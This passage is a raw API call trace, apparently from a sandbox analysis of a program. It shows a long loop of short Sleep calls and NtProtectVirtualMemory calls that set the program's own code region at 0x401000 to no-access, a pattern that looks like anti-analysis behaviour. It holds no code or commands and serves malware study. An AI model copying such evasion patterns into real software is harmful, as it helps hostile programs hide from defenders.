0x0 [0279.807] Sleep (dwMilliseconds=0x5) [0279.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.850] Sleep (dwMilliseconds=0x5) [0279.897] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0279.898] Sleep (dwMilliseconds=0x5) [0280.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.019] Sleep (dwMilliseconds=0x5) [0280.103] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.104] Sleep (dwMilliseconds=0x5) [0280.145] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.145] Sleep (dwMilliseconds=0x5) [0280.193] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.193] Sleep (dwMilliseconds=0x5) [0280.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.240] Sleep (dwMilliseconds=0x5) [0280.285] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.285] Sleep (dwMilliseconds=0x5) [0280.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.342] Sleep (dwMilliseconds=0x5) [0280.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.399] Sleep (dwMilliseconds=0x5) [0280.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.465] Sleep (dwMilliseconds=0x5) [0280.534] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.535] Sleep (dwMilliseconds=0x5) [0280.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.634] Sleep (dwMilliseconds=0x5) [0280.689] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.690] Sleep (dwMilliseconds=0x5) [0280.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.754] Sleep (dwMilliseconds=0x5) [0280.807] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.808] Sleep (dwMilliseconds=0x5) [0280.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.915] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.916] Sleep (dwMilliseconds=0x5) [0280.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0280.960] Sleep (dwMilliseconds=0x5) [0281.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.010] Sleep (dwMilliseconds=0x5) [0281.093] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.094] Sleep (dwMilliseconds=0x5) [0281.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.145] Sleep (dwMilliseconds=0x5) [0281.195] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.196] Sleep (dwMilliseconds=0x5) [0281.242] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.243] Sleep (dwMilliseconds=0x5) [0281.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.290] Sleep (dwMilliseconds=0x5) [0281.347] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.348] Sleep (dwMilliseconds=0x5) [0281.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.405] Sleep (dwMilliseconds=0x5) [0281.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.444] Sleep (dwMilliseconds=0x5) [0281.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.488] Sleep (dwMilliseconds=0x5) [0281.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.536] Sleep (dwMilliseconds=0x5) [0281.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.582] Sleep (dwMilliseconds=0x5) [0281.641] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.642] Sleep (dwMilliseconds=0x5) [0281.691] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.692] Sleep (dwMilliseconds=0x5) [0281.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.734] Sleep (dwMilliseconds=0x5) [0281.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.921] Sleep (dwMilliseconds=0x5) [0281.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0281.972] Sleep (dwMilliseconds=0x5) [0282.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.017] Sleep (dwMilliseconds=0x5) [0282.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.074] Sleep (dwMilliseconds=0x5) [0282.122] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.123] Sleep (dwMilliseconds=0x5) [0282.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.235] Sleep (dwMilliseconds=0x5) [0282.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.285] Sleep (dwMilliseconds=0x5) [0282.329] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.330] Sleep (dwMilliseconds=0x5) [0282.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.373] Sleep (dwMilliseconds=0x5) [0282.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.423] Sleep (dwMilliseconds=0x5) [0282.477] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.478] Sleep (dwMilliseconds=0x5) [0282.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.521] Sleep (dwMilliseconds=0x5) [0282.564] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.565] Sleep (dwMilliseconds=0x5) [0282.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.612] Sleep (dwMilliseconds=0x5) [0282.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.658] Sleep (dwMilliseconds=0x5) [0282.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.749] Sleep (dwMilliseconds=0x5) [0282.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.801] Sleep (dwMilliseconds=0x5) [0282.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.845] Sleep (dwMilliseconds=0x5) [0282.895] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0282.959] Sleep (dwMilliseconds=0x5) [0283.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.018] Sleep (dwMilliseconds=0x5) [0283.060] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.061] Sleep (dwMilliseconds=0x5) [0283.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.120] Sleep (dwMilliseconds=0x5) [0283.167] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.168] Sleep (dwMilliseconds=0x5) [0283.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.236] Sleep (dwMilliseconds=0x5) [0283.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.278] Sleep (dwMilliseconds=0x5) [0283.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.323] Sleep (dwMilliseconds=0x5) [0283.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.372] Sleep (dwMilliseconds=0x5) [0283.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.420] Sleep (dwMilliseconds=0x5) [0283.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.473] Sleep (dwMilliseconds=0x5) [0283.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.520] Sleep (dwMilliseconds=0x5) [0283.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.561] Sleep (dwMilliseconds=0x5) [0283.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.604] Sleep (dwMilliseconds=0x5) [0283.652] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.653] Sleep (dwMilliseconds=0x5) [0283.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.701] Sleep (dwMilliseconds=0x5) [0283.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.750] Sleep (dwMilliseconds=0x5) [0283.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.793] Sleep (dwMilliseconds=0x5) [0283.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.839] Sleep (dwMilliseconds=0x5) [0283.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.887] Sleep (dwMilliseconds=0x5) [0283.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0283.935] Sleep (dwMilliseconds=0x5) [0283.982] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 